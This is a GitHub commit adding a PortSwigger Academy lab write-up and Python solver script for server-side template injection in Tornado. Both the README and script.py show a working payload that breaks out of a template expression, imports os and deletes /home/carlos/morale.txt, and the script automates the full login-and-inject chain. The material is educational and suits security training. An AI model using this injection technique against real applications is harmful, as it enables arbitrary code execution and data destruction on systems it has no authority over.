-
Notifications
You must be signed in to change notification settings - Fork 104
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Basic server-side template injection (code context)
- Loading branch information
1 parent
17043b4
commit aef6850
Showing
15 changed files
with
206 additions
and
1 deletion.
There are no files selected for viewing
89 changes: 89 additions & 0 deletions
89
...emplate_injection/Basic_server-side_template_injection_(code_context)/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
# Write-up: Basic server-side template injection (code context) @ PortSwigger Academy | ||
|
||
 | ||
|
||
This write-up for the lab *Basic server-side template injection (code context)* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). | ||
|
||
**Learning path**: Advanced topics → Server-side template injection | ||
|
||
Lab-Link: <https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context> | ||
Difficulty: PRACTITIONER | ||
Python script: [script.py](script.py) | ||
|
||
## Lab description | ||
|
||
 | ||
|
||
## Steps | ||
|
||
### Analysis | ||
|
||
As usual, the first step is to analyze the functionality of the lab application. In this lab, it is a blog website to which I am provided credentials. | ||
|
||
The public page does not show anything interesting. When I post a comment it will appear as anonymous but it does not appear to contain something I want. | ||
|
||
I continue to log in as `wiener`. On my account page, I can change my email and set a preferred name. I guess it will be used as the user name when posting something on the blog: | ||
|
||
 | ||
|
||
Changing the email address does not lead to anything substantial. Changing the `preferred name` indeed changes the name of comments posted: | ||
|
||
 | ||
|
||
What is more interesting though is the request that is sent when changing the preferred name: | ||
|
||
 | ||
|
||
The value of the name argument appears to contain some reference to a data structure: `user.name` or, in case of the other options, `user.nickname` and `user.first_name`. | ||
|
||
A secure way would be to use the client-provided value just as a plain index in a lookup table without actually using it directly. More often than not this is not the case though. The input, with more or less sanitization applied to it, is used in actual logic and might cause havoc. | ||
|
||
--- | ||
|
||
### The theory | ||
|
||
The lab description mentions tornado templates so I check out its [documentation](https://www.tornadoweb.org/en/stable/template.html). In it, I find some basic information: | ||
|
||
 | ||
|
||
 | ||
|
||
As a starting point I will now assume two things about the name value from the `POST` request: | ||
|
||
1. It is either not sanitized at all or not sufficiently sanitized | ||
2. It is used directly in the template that generates the HTML of the comments | ||
|
||
If these assumptions are true, then I will be able to inject my own code by terminating the template value with `}}` and adding some own expression with `{{own_expression`. The closing `}}` are already in place so I don't provide them. | ||
|
||
I try this out by sending the POST request into Burp Repeater and changing the display name to `user.name}}{{2*3` to test whether I can invoke a math operation: | ||
|
||
 | ||
|
||
The request goes through and I reload the blog page with my comment. It now reads | ||
|
||
 | ||
|
||
This confirms that I can inject expressions into the template. | ||
|
||
--- | ||
|
||
### The malicious payload | ||
|
||
According to the documentation, the `{{own_expression}}` syntax can only be used for expressions. So for including my own code, like an import, I need to use the `{% code %}` syntax. | ||
|
||
I use my math injection from above and add a code block between the two expressions: `user.name}}{%import+os;os.unlink("/home/carlos/morale.txt")%}{{2*3`. This way it keeps the syntax valid but executes my arbitrary code in the middle: | ||
|
||
 | ||
|
||
|
||
I reload the comments page and the lab updates to | ||
|
||
 | ||
|
||
--- | ||
|
||
**Note**: If you posted more than one comment on that page, you'll still solve the lab but receive this error: | ||
|
||
 | ||
|
||
This is expected. The HTML generation for the first comment deletes the file, when the next comment is processed it errors out. |
Binary file added
BIN
+13.7 KB
...ate_injection/Basic_server-side_template_injection_(code_context)/img/error.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+17.5 KB
...ion/Basic_server-side_template_injection_(code_context)/img/lab_description.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+37.3 KB
...late_injection/Basic_server-side_template_injection_(code_context)/img/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+60.4 KB
...n/Basic_server-side_template_injection_(code_context)/img/malicious_request.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+4.19 KB
..._server-side_template_injection_(code_context)/img/manipulated_comment_name.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+15.3 KB
...njection/Basic_server-side_template_injection_(code_context)/img/my_account.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+57.3 KB
...er-side_template_injection_(code_context)/img/request_change_preferred_name.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+58.1 KB
..._server-side_template_injection_(code_context)/img/request_manipulated_math.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+7.18 KB
...njection/Basic_server-side_template_injection_(code_context)/img/shown_name.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+25.8 KB
...e_injection/Basic_server-side_template_injection_(code_context)/img/success.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+4.15 KB
...ion/Basic_server-side_template_injection_(code_context)/img/template_basics.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+8.25 KB
...ion/Basic_server-side_template_injection_(code_context)/img/template_syntax.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
116 changes: 116 additions & 0 deletions
116
...ver_side_template_injection/Basic_server-side_template_injection_(code_context)/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
#!/usr/bin/env python3 | ||
# Basic server-side template injection (code context) | ||
# Lab-Link: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context | ||
# Difficulty: PRACTITIONER | ||
from bs4 import BeautifulSoup | ||
import requests | ||
import sys | ||
import time | ||
import urllib3 | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} | ||
|
||
|
||
def get_csrf_token(client, url): | ||
r = client.get(url) | ||
soup = BeautifulSoup(r.text, 'html.parser') | ||
return soup.find('input', attrs={'name': 'csrf'})['value'] | ||
|
||
|
||
def login(client, host, username, password): | ||
url = f'{host}/login' | ||
token = get_csrf_token(client, url) | ||
data = {'csrf': token, | ||
'username': username, | ||
'password': password} | ||
res = client.post(url, data=data) | ||
return f'Your username is: {username}' in res.text | ||
|
||
|
||
def get_random_post_id(client, host): | ||
r = client.get(host) | ||
try: | ||
soup = BeautifulSoup(r.text, 'html.parser') | ||
first_post = soup.find('div', attrs={'class': 'blog-post'}) | ||
# first_post contains the full div of the first post | ||
# ID extracted from <a href="/post?postId=4"><img src="/image/blog/posts/42.jpg"/></a> | ||
postID = first_post.find_next('a')['href'].split('=')[1] | ||
except TypeError: | ||
return None | ||
return postID | ||
|
||
|
||
def post_comment(client, host, postID): | ||
url = f'{host}/post' | ||
data = { | ||
'csrf': get_csrf_token(client, f'{url}?postId={postID}'), | ||
'postId': postID, | ||
'comment': 'SomeComment' | ||
} | ||
if client.post(f'{url}/comment', data=data, allow_redirects=False).status_code != 302: | ||
return None | ||
return True | ||
|
||
|
||
def change_display_name(client, host): | ||
url = f'{host}/my-account' | ||
data = { | ||
'csrf': get_csrf_token(client, f'{url}'), | ||
'blog-post-author-display': 'user.name}}{%import os;os.unlink("/home/carlos/morale.txt")%}{{2*3' | ||
} | ||
if client.post(f'{url}/change-blog-post-author-display', data=data, allow_redirects=False).status_code != 302: | ||
return None | ||
return True | ||
|
||
|
||
def main(): | ||
print('[+] Basic server-side template injection (code context)') | ||
try: | ||
host = sys.argv[1].strip().rstrip('/') | ||
except IndexError: | ||
print(f'Usage: {sys.argv[0]} <HOST>') | ||
print(f'Exampe: {sys.argv[0]} http://www.example.com') | ||
sys.exit(-1) | ||
|
||
with requests.Session() as client: | ||
client.verify = False | ||
client.proxies = proxies | ||
|
||
if not login(client, host, 'wiener', 'peter'): | ||
print(f'[-] Failed to log in as wiener') | ||
sys.exit(-2) | ||
print(f'[+] Log in as wiener') | ||
|
||
if not change_display_name(client, host): | ||
print(f'[-] Failed to change display name') | ||
sys.exit(-3) | ||
print(f'[+] Change display name') | ||
|
||
postID = get_random_post_id(client, host) | ||
if postID is None: | ||
print(f'[-] Failed to extract a valid post ID') | ||
sys.exit(-4) | ||
print(f'[+] Extract valid post ID: {postID}') | ||
|
||
if not post_comment(client, host, postID): | ||
print(f'[-] Failed to post a comment in post {postID}') | ||
sys.exit(-5) | ||
print(f'[+] Post a comment in post {postID}') | ||
|
||
url = f'{host}/post?postId={postID}' | ||
if client.get(url).status_code != 200: | ||
print(f'[-] Failed to refresh comment page') | ||
sys.exit(-6) | ||
print(f'[+] Refresh comment page') | ||
|
||
# I had some times issues getting the proper result, so wait briefly before checking | ||
time.sleep(2) | ||
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: | ||
print(f'[-] Failed to solve lab') | ||
sys.exit(-9) | ||
|
||
print(f'[+] Lab solved') | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters